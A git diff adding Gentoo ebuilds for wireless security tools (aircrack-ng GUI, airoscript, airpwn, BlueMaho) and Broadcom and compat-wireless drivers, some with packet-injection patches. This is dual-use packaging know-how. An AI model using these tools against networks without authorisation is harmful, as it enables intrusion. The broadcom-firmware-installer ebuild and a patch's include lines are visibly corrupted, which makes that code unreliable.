b/net-wireless/aircrackgui-m4/aircrackgui-m4-0.7.0.ebuild @@ -0,0 +1,48 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 +inherit qt4-r2 + +DESCRIPTION="" +HOMEPAGE="" +SRC_URI="http://aircrackgui-m4.googlecode.com/files/aircrack-GUI-M4%200.7.0%20Final-Source.tar.bz2 -> ${P}.tar.bz2" + +LICENSE="" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="" + +DEPEND=">=x11-libs/qt-gui-4.7.3 + >=x11-libs/qt-core-4.7.3" +RDEPEND="${DEPEND} + net-analyzer/macchanger + net-wireless/aircrack-ng" + +S="${WORKDIR}/aircrack-GUI-M4 0.7.0 Final-Source" + +src_prepare() { + sed -i 's#aircrack-ng-1.1-M4/src/airodump-ng#/usr/sbin/airodump-ng#g' DEFINES.h + sed -i 's#aircrack-ng-1.1-M4/src/aireplay-ng#/usr/sbin/aireplay-ng#g' DEFINES.h + sed -i 's#aircrack-ng-1.1-M4/src/aircrack-ng#/usr/bin/aircrack-ng#g' DEFINES.h + sed -i 's#binutils/macchanger#/usr/bin/macchanger#g' DEFINES.h + #sed -i 's#airmon-ng#airmon-zc#g' DEFINES.h + + #I'm not 100% certain on if this will work but... + sed -i 's#captures#/tmp/captures#g' DEFINES.h + sed -i 's#arp_replays#/tmp/arp_replays#g' DEFINES.h + sed -i 's#frag_caps#/tmp/frag_caps#g' DEFINES.h + sed -i 's#chop_caps#/tmp/chop_caps#g' DEFINES.h + sed -i 's#forged_arps#/tmp/forged_arps#g' DEFINES.h + sed -i 's#broadcast_caps#/tmp/broadcast_caps#g' DEFINES.h +} + +src_compile() { + eqmake4 -config release + emake +} + +src_install() { + dosbin aircrack-GUI +} diff --git a/net-wireless/airoscript/Manifest b/net-wireless/airoscript/Manifest new file mode 100644 index 00000000..b019246d --- /dev/null +++ b/net-wireless/airoscript/Manifest @@ -0,0 +1 @@ +EBUILD airoscript-9999.ebuild 812 RMD160 9ebd8d5c1feb1a73a9d2bd1a69da7cc998d8f504 SHA1 456148121f07a227fc52270c674edc509070225a SHA256 f4a323f17b0317fb6853a58372c03e84117b09c96b7a22c44db66db18d1e6965 diff --git a/net-wireless/airoscript/airoscript-9999.ebuild b/net-wireless/airoscript/airoscript-9999.ebuild new file mode 100644 index 00000000..003597b4 --- /dev/null +++ b/net-wireless/airoscript/airoscript-9999.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils subversion + +DESCRIPTION="N00b scripts for aircrack-ng :-)" +HOMEPAGE="http://www.aircrack-ng.org/" +SRC_URI="" +ESVN_REPO_URI="http://trac.aircrack-ng.org/svn/branch/airoscript-ng" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~ppc ~x86" +IUSE="" + +DEPEND="${RDEPEND}" +RDEPEND="net-wireless/wireless-tools + net-wireless/aircrack-ng" + +src_compile() { + elog "Nothing to compile" +} + +src_install () { + sed -e '/PREFIX/ s:/usr/local:/usr:' -e '/MDK3/ s:local/::' -i src/conffiles/airoscript.conf + emake -j1 prefix="${D}" sysconfdir="${D}etc" datarootdir="${D}usr/share" execprefix="${D}usr" install || die "emake install failed" + rm -rf "${D}/etc/screenrc" "${D}/usr/share/locale/es_ES" +} diff --git a/net-wireless/airpwn/Manifest b/net-wireless/airpwn/Manifest new file mode 100644 index 00000000..4ec2b16c --- /dev/null +++ b/net-wireless/airpwn/Manifest @@ -0,0 +1,2 @@ +DIST airpwn-1.4.tgz 910109 RMD160 4703b31cbf70b5d7fac4b921722c81fde5e29bc7 SHA1 30df2f76cbbf35a9aa4053fa622f5249f2960e88 SHA256 f689cd5a9038832cb0aaefa18cae0c282a6bfbeea38819cf47f306f14344e164 +EBUILD airpwn-1.4-r1.ebuild 902 RMD160 1fe28858e156bcc5cf856e133292706b553f678f SHA1 7b562c002900e6a71963c26af66cf545f7098d58 SHA256 9c2bb7938cf52299406ceb456ecddee160160f50009b0ad2f5c0dc033f09512d diff --git a/net-wireless/airpwn/airpwn-1.4-r1.ebuild b/net-wireless/airpwn/airpwn-1.4-r1.ebuild new file mode 100644 index 00000000..6334c43e --- /dev/null +++ b/net-wireless/airpwn/airpwn-1.4-r1.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit python flag-o-matic + +DESCRIPTION="a tool for generic packet injection on 802.11" +HOMEPAGE="http://airpwn.sf.net" +SRC_URI="mirror://sourceforge/airpwn/$P.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="+examples" + +DEPEND="" +RDEPEND="net-wireless/lorcon-old + net-libs/libnet + dev-lang/python" + +src_configure() { + append-ldflags $(no-as-needed) + econf + # this is a huge mess... + sed -i "s/python2.4/python$(python_get_version)/g" conf.h || die "sed failed" + sed -i "s|-lssl -lorcon -lpthread -lpcre -lpcap -lnet|-lssl -lorcon -lpthread -lpcre -lpcap -lnet -lpython$(python_get_version)|g" Makefile || die "sed failed" +} + +src_install() { + DESTDIR="${D}" emake install + dodoc README + if use examples; then + docinto sample-configs + dodoc conf/* + fi +} diff --git a/net-wireless/b43-openfwwf/Manifest b/net-wireless/b43-openfwwf/Manifest new file mode 100644 index 00000000..7b262b6e --- /dev/null +++ b/net-wireless/b43-openfwwf/Manifest @@ -0,0 +1,2 @@ +DIST openfwwf-5.2.tar.gz 48525 RMD160 f9b2ad6d0d54f53a3d3b0ff5583b97dac1d20707 SHA1 ce3b6b10ad27a731785665e169f3360ecc5337c5 SHA256 9de03320083201080b2e94b81637ac07a159cf4e6f3481383e1a217e627bc0dc +EBUILD b43-openfwwf-5.2.ebuild 509 RMD160 49b6297e6f97b3fc8e745a362fbf5ffe7693252a SHA1 d972873a0befbb7c238c36eaf00bc29c6f438018 SHA256 e9aa12e3bb241926d3601147be29c00461837e41aad5ca83f53fd1ef360d18b8 diff --git a/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild b/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild new file mode 100644 index 00000000..9dc27fa4 --- /dev/null +++ b/net-wireless/b43-openfwwf/b43-openfwwf-5.2.ebuild @@ -0,0 +1,21 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +DESCRIPTION="OpenBroadcom Firmware" +HOMEPAGE="http://www.ing.unibs.it/openfwwf/" +SRC_URI="http://www.ing.unibs.it/openfwwf/firmware/openfwwf-${PV}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +DEPEND="net-wireless/b43-tools[assembler]" +S="${WORKDIR}/openfwwf-${PV}" + +src_install() { + emake PREFIX="${D}"/lib/firmware/b43-open install || die "emake failed" +} diff --git a/net-wireless/b43-tools/Manifest b/net-wireless/b43-tools/Manifest new file mode 100644 index 00000000..12ef12f1 --- /dev/null +++ b/net-wireless/b43-tools/Manifest @@ -0,0 +1 @@ +EBUILD b43-tools-9999.ebuild 1731 SHA256 a3432521d885c2802ca2268a95c728bd10cb1ca7bd503af6c170f3fafb6fd472 SHA512 a16f720d05f6644eaa3a8e941349f0ca73447f5527a963a70a1316abb829b285ff428225f661b37bde37999229c8c089c6fea35f76eca2f0cff99fb2cd5760d3 WHIRLPOOL 56f1957e60f0d3574a01cad2e7a403dacbe7cdc83a4192ce249e80dbabd971030fae4487cecb123bbf37d972d15f72cc080ea733182ea3e064ad1305d8ab4d82 diff --git a/net-wireless/b43-tools/b43-tools-9999.ebuild b/net-wireless/b43-tools/b43-tools-9999.ebuild new file mode 100644 index 00000000..54c3f239 --- /dev/null +++ b/net-wireless/b43-tools/b43-tools-9999.ebuild @@ -0,0 +1,72 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +inherit git-2 python + +DESCRIPTION="Tools for developers working on broadcom drivers/firmware" +HOMEPAGE="http://bu3sch.de/gitweb?p=b43-tools.git;a=summary" +SRC_URI="" +EGIT_REPO_URI="git://git.bues.ch/b43-tools.git" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="+assembler debug disassembler fwcutter +ssb_sprom" + +RDEPEND="fwcutter? ( net-wireless/b43-fwcutter )" +DEPEND="${RDEPEND} + sys-devel/flex" + +src_compile() { + + if use assembler; then + cd "${S}"/assembler + emake || die "emake assembler failed" + fi + + if use disassembler; then + cd "${S}"/disassembler + emake || die "emake disassembler failed" + fi + + if use fwcutter; then + einfo "Firmware cutter from b43-tools will NOT be installed. Use net-wireless/b43-fwcutter instead." +# cd "${S}"/fwcutter +# emake || die "emake fwcutter failed" + fi + + if use ssb_sprom; then + cd "${S}"/ssb_sprom + emake || die "emake ssb_sprom failed" + fi +} + +src_install() { + if use assembler; then + dobin "${S}"/assembler/b43-asm.bin + sed -e 's/installed=0/installed=1/' -i "${S}"/assembler/b43-asm + dobin "${S}"/assembler/b43-asm + fi + +## install debug, I'm guessing this needs a few deps, and what not + if use debug; then + cd "${S}"/debug + insinto /usr/lib/python$(python_get_version)/ + doins libb43.py + dobin b43-beautifier b43-fwdump patcher-template + fi + + if use disassembler; then + dobin "${S}"/disassembler/b43-dasm + dobin "${S}"/disassembler/b43-ivaldump + fi + + if use ssb_sprom; then + dobin "${S}"/ssb_sprom/ssb-sprom + fi + + einfo "The docs are not packaged properly if you use dodoc README several times, feel free to fix it" +} diff --git a/net-wireless/bluemaho/Manifest b/net-wireless/bluemaho/Manifest new file mode 100644 index 00000000..833f54cc --- /dev/null +++ b/net-wireless/bluemaho/Manifest @@ -0,0 +1,4 @@ +AUX bluemaho 50 RMD160 cebb4ff4c66cb943be41657308af2361db0ce411 SHA1 e79152cfde43f31cf7ff2c1c3a08ff359dec0219 SHA256 1623940d95c958f9dcdb0c5dd8e114dc16431baa9a4c0a1ddc8d44c52022a876 +AUX btftp-libxml.patch 1065 RMD160 c2bb428225879824bb9c30e25790821664c0ec5f SHA1 16911c47c073a82d291b787a894ce3db04dfcbb4 SHA256 c8b83e3fad9952c5a0dd47daff487c896df86c3bed635da715af842322f093c5 +DIST BlueMaho?action=AttachFile&do=get&target=bluemaho_v090417.tgz 916884 RMD160 57ed5b2967ef659b8e2a80bb8d3ff3908e27341b SHA1 216db6f836b20b7f70f3a56bec95ab0a607a2af5 SHA256 9b36bcf73a59d7c03a2262287c4aa37fbd308801d6fa4d3cbc86b9d15ad7ff1c +EBUILD bluemaho-090417-r1.ebuild 928 RMD160 367180083b50d487a04102a89f077ba062dcc1cb SHA1 51d1c616d2952efd9fa5342271b2e37040445035 SHA256 e2c5bb9c86129806338692b44f348af369273c4d7bdd1218dd133cff0b6c60ec diff --git a/net-wireless/bluemaho/bluemaho-090417-r1.ebuild b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild new file mode 100644 index 00000000..8e84602e --- /dev/null +++ b/net-wireless/bluemaho/bluemaho-090417-r1.ebuild @@ -0,0 +1,39 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils + +MY_P="${PN}_v${PV}" + +DESCRIPTION="BlueMaho is GUI-shell (interface) for suite of tools for testing security of bluetooth devices" +HOMEPAGE="http://wiki.thc.org/BlueMaho" +SRC_URI="http://wiki.thc.org/BlueMaho?action=AttachFile&do=get&target=${MY_P}.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86" +IUSE="" +RDEPEND="net-wireless/bluez[test-programs] + net-wireless/bt-audit + dev-libs/libxml2 + dev-python/wxpython + dev-libs/libusb + sys-libs/readline" +DEPEND="${RDEPEND}" +S="${WORKDIR}/${MY_P/_v/-}" + +src_compile() { + epatch "${FILESDIR}"/btftp-libxml.patch + sed -e 's/Eterm/xterm/' -i config/default.conf + cd config + sh build.sh || die "emake failed" +} + +src_install() { + dodir /usr/lib/${PN} + cp -R "${S}"/* "${D}"/usr/lib/${PN} || die "Copy files failed" + dobin "${FILESDIR}/${PN}" +} diff --git a/net-wireless/bluemaho/files/bluemaho b/net-wireless/bluemaho/files/bluemaho new file mode 100644 index 00000000..4089d08b --- /dev/null +++ b/net-wireless/bluemaho/files/bluemaho @@ -0,0 +1,4 @@ +#!/bin/sh + +cd /usr/lib/bluemaho/ +./bluemaho.py $@ diff --git a/net-wireless/bluemaho/files/btftp-libxml.patch b/net-wireless/bluemaho/files/btftp-libxml.patch new file mode 100644 index 00000000..d63add34 --- /dev/null +++ b/net-wireless/bluemaho/files/btftp-libxml.patch @@ -0,0 +1,21 @@ +diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile bluemaho-090417/tools/sources/btftp-0.1/Makefile +--- bluemaho-090417.orig/tools/sources/btftp-0.1/Makefile 2009-04-17 17:37:30.000000000 +0000 ++++ bluemaho-090417/tools/sources/btftp-0.1/Makefile 2009-05-12 13:31:50.000000000 +0000 +@@ -1,2 +1,2 @@ + all: obex.c sdp.c folder.c main.c +- gcc -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp ++ gcc -I/usr/include/libxml2/ -lbluetooth -lopenobex -lreadline -lxml2 obex.c sdp.c folder.c main.c -o btftp +diff -Naur bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c bluemaho-090417/tools/sources/btftp-0.1/folder.c +--- bluemaho-090417.orig/tools/sources/btftp-0.1/folder.c 2009-04-17 17:37:30.000000000 +0000 ++++ bluemaho-090417/tools/sources/btftp-0.1/folder.c 2009-05-12 13:31:26.000000000 +0000 +@@ -29,8 +29,8 @@ + #include + #include + +-#include +-#include ++#include ++#include + + #include "goep.h" + #include "ftp.h" diff --git a/net-wireless/broadcom-firmware-downloader/Manifest b/net-wireless/broadcom-firmware-downloader/Manifest new file mode 100644 index 00000000..5c9b1279 --- /dev/null +++ b/net-wireless/broadcom-firmware-downloader/Manifest @@ -0,0 +1,5 @@ +DIST broadcom-wl-4.150.10.5.tar.bz2 3888794 RMD160 2a0a24aefbd0f979ce1ef6e24585bd792a88d09b SHA1 2dc21875dae79113b31d1dd16179ab3431d0f0ae SHA256 a9f4e276a4d8d3a1cd0f2eb87080ae89b77f0a7140f06d4e9e2135fc44fdd533 +DIST broadcom-wl-5.100.138.tar.bz2 13514651 RMD160 ae063717a89648c0b4e4b9aa09348e7ec9f1461c SHA1 21691a8c99c66f58d18f863ee43593d1633b454c SHA256 f1e7067aac5b62b67b8b6e4c517990277804339ac16065eb13c731ff909ae46f +DIST wl_apsta-3.130.20.0.o 652866 RMD160 504dd0cdff52b480d9871269eb9827071d85a6b2 SHA1 b1f61d283bd7d05ade313da522cb0d0ad4033652 SHA256 7dba610b1d96dd14e901bcbce14cd6ecd1b1ac6f5c0035b0d6b6dc46a7c3ef90 +EBUILD broadcom-firmware-downloader-0.1-r2.ebuild 1211 RMD160 f6ea1df2adea5eb9b68cf4e7c4b586c6c3bd57f2 SHA1 4b5b211267deb020a3416b8d5eb4385be9bbb1d8 SHA256 c65f846bea07fdd6cc431803a8e2d001dfbb2a752701dd7550484a846d40897e +EBUILD broadcom-firmware-downloader-0.2.ebuild 1205 RMD160 fe3d9afe6a72644b842e9c485e405f44971e7fae SHA1 01517fa46baac05049de965e22734546161fab2e SHA256 8bce0593353043d5c18f11ff6085f63e25134c0a1e7cbac0be3ffd200c40440a diff --git a/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild new file mode 100644 index 00000000..703f3a2e --- /dev/null +++ b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.1-r2.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +DESCRIPTION="Closed Broadcom Commercial Firmware Downloader" +HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43" +SRC_URI="b43? ( http://mirror2.openwrt.org/sources/broadcom-wl-4.150.10.5.tar.bz2 ) + b43legacy? ( http://downloads.openwrt.org/sources/wl_apsta-3.130.20.0.o )" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="+b43 +b43legacy" +RESTRICT="strip" + +DEPEND="" +RDEPEND="net-wireless/b43-fwcutter" + +src_install() { + dodir /lib/firmware/broadcom-unmodified || die "failed to create dir" + insinto /lib/firmware/broadcom-unmodified + if use b43; then doins "${WORKDIR}"/broadcom-wl-4.150.10.5/driver/wl_apsta_mimo.o || die "failed to install b43 files"; fi; + if use b43legacy; then doins "${DISTDIR}"/wl_apsta-3.130.20.0.o || die "failed to install b43legacy files"; fi; + einfo "Unmolested Broadcom firmware files have been downloaded from openwrt and stored on the hdd." + einfo "No changes to the files have been made, only unmodified files have been distributed." + einfo "If the user wishes these firmware in a useful way then emerge broadcom-firmware-installer." +} diff --git a/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild new file mode 100644 index 00000000..3410464a --- /dev/null +++ b/net-wireless/broadcom-firmware-downloader/broadcom-firmware-downloader-0.2.ebuild @@ -0,0 +1,29 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" + +DESCRIPTION="Closed Broadcom Commercial Firmware Downloader" +HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43" +SRC_URI="b43? ( http://www.lwfinger.com/b43-firmware/broadcom-wl-5.100.138.tar.bz2 ) + b43legacy? ( http://downloads.openwrt.org/sources/wl_apsta-3.130.20.0.o )" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="+b43 +b43legacy" +RESTRICT="strip" + +DEPEND="" +RDEPEND="net-wireless/b43-fwcutter" + +src_install() { + dodir /lib/firmware/broadcom-unmodified || die "failed to create dir" + insinto /lib/firmware/broadcom-unmodified + if use b43; then doins "${WORKDIR}"/broadcom-wl-5.100.138/linux/wl_apsta.o || die "failed to install b43 files"; fi; + if use b43legacy; then doins "${DISTDIR}"/wl_apsta-3.130.20.0.o || die "failed to install b43legacy files"; fi; + einfo "Unmolested Broadcom firmware files have been downloaded from openwrt and stored on the hdd." + einfo "No changes to the files have been made, only unmodified files have been distributed." + einfo "If the user wishes these firmware in a useful way then emerge broadcom-firmware-installer." +} diff --git a/net-wireless/broadcom-firmware-installer/Manifest b/net-wireless/broadcom-firmware-installer/Manifest new file mode 100644 index 00000000..3e354f8d --- /dev/null +++ b/net-wireless/broadcom-firmware-installer/Manifest @@ -0,0 +1,2 @@ +EBUILD broadcom-firmware-installer-0.1-r3.ebuild 1724 RMD160 0abc32d0dae0e07eeedd2424d97028da6237bb40 SHA1 740a4c07180b9dd0c9777487db7c4fc15638940e SHA256 61c73a090367b47c5364d6a71afa8ad14014c35354e6b8ca11297a91e9e4c116 +EBUILD broadcom-firmware-installer-0.2.ebuild 1726 RMD160 0cf422ac50be32a689b5618396f09e663fd038e0 SHA1 d366df6d7ef5b46e56c8f27283e3bed7ceadb7e2 SHA256 6a0feb9951b644a0d1d51633ef43e08ad14fb550b8c30954484715c97de5b2b1 diff --git a/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild new file mode 100644 index 00000000..e87736c7 --- /dev/null +++ b/net-wireless/broadcom-firmware-installer/broadcom-firmware-installer-0.1-r3.ebuild @@ -0,0 +1,51 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +DESCRIPTION="Closed Broadcom Commercial Firmware Installer" +HOMEPAGE="http://linuxwireless.org/en/users/Drivers/b43" +SRC_URI="" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="+b43 +b43legacy +reload" + +DEPEND="&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild new file mode 100644 index 00000000..01fd1604 --- /dev/null +++ b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc3.ebuild @@ -0,0 +1,217 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" +inherit git-2 linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} +MY_PV=v${PV/_rc/-rc} +MY_PVS=v$(get_version_component_range 1-2) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="2" +#SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PVS}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+apply_cherrypicks +apply_crap +apply_stable apply_pending atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules +tarball noleds" + +DEPEND="!net-wireless/compat-wireless + apply_stable? ( dev-util/quilt )" +RDEPEND="${DEPEND} + livecd? ( =sys-kernel/linux-firmware-99999999 ) + !livecd? ( >=sys-kernel/linux-firmware-20110709 ) + sys-fs/udev" + +#S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +S="${WORKDIR}/compat-wireless" +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + + #these things are not optional + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" + linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat" + + if use b43; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43" + fi + if use b44; then + linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44" + fi +} + +src_unpack() { + EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git" + EGIT_SOURCEDIR="${WORKDIR}/allstable" + EGIT_COMMIT="refs/tags/${MY_PV}" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_COMMIT + + EGIT_REPO_URI="git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git" + EGIT_SOURCEDIR="${WORKDIR}/linux-next" + git-2_src_unpack + unset EGIT_DIR + + EGIT_REPO_URI="git://github.com/mcgrof/compat.git" + EGIT_SOURCEDIR="${WORKDIR}/compat" + EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_BRANCH + + EGIT_REPO_URI="git://github.com/mcgrof/compat-wireless.git" + EGIT_SOURCEDIR="${WORKDIR}/compat-wireless" + EGIT_BRANCH="linux-$(get_version_component_range 1).$(get_version_component_range 2).y" + git-2_src_unpack + unset EGIT_DIR + unset EGIT_BRANCH +} + +src_prepare() { + use apply_cherrypicks && apply="${apply} -n" + use apply_pending && apply="${apply} -p" + use apply_stable && apply="${apply} -s" + use apply_crap && apply="${apply} -c" + + #CAUTION: on this line GIT_TREE asks for linux-next but wants stable + GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh -s refresh || die + #CAUTION: but on this line GIT_TREE wants stable + GIT_TREE="${WORKDIR}/allstable" GIT_COMPAT_TREE="${WORKDIR}/compat" NEXT_TREE="${WORKDIR}/linux-next" scripts/admin-update.sh${apply} || die + + if use tarball; then + rm -rf .git/ + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build clean + find ./ -type f -name *.orig | xargs rm -f + find ./ -type f -name *.rej | xargs rm -f + use apply_cherrypicks && applied="${applied}n" + use apply_pending && applied="${applied}p" + #use apply_stable && applied="${applied}s" + use apply_crap && applied="${applied}c" + if [ "${applied}" ]; then + applied="-${applied}" + fi + tar -Jcf "${WORKDIR}"/${P}${applied}.tar.xz "${WORKDIR}/compat-wireless/" || die + fi + + # CONFIG_CFG80211_REG_DEBUG=y + sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epatch "${FILESDIR}"/ath_regd_optional.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + # epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + # epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +# Disable B44 ethernet driver + if ! use b44; then + sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver" + fi + +# Disable B43 driver + if ! use b43; then + sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver" + #CONFIG_B43LEGACY= + fi + +# fixme: there are more bluethooth settings in the config.mk + if ! use bluetooth; then + sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver" + sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver" + fi + +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + if use tarball; then + insinto /usr/share/${PN} + doins "${WORKDIR}"/${P}${applied}.tar.xz + fi + + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh + + dodoc README + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + + if use !livecd; then + if use loadmodules; then + einfo "Attempting to unload modules..." + /usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!" + einfo "Triggering automatic reload of needed modules..." + /sbin/udevadm trigger + einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup." + einfo "If you experience any issues reboot is the simplest course of action." + fi + fi + if use !loadmodules; then + einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot." + einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the needed drivers." + einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules." + fi +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild b/net-wireless/compat-wireless-builder/compat-wireless-builder-3.4_rc7.ebuild new file mode 100644 index 00000000..01fd1604 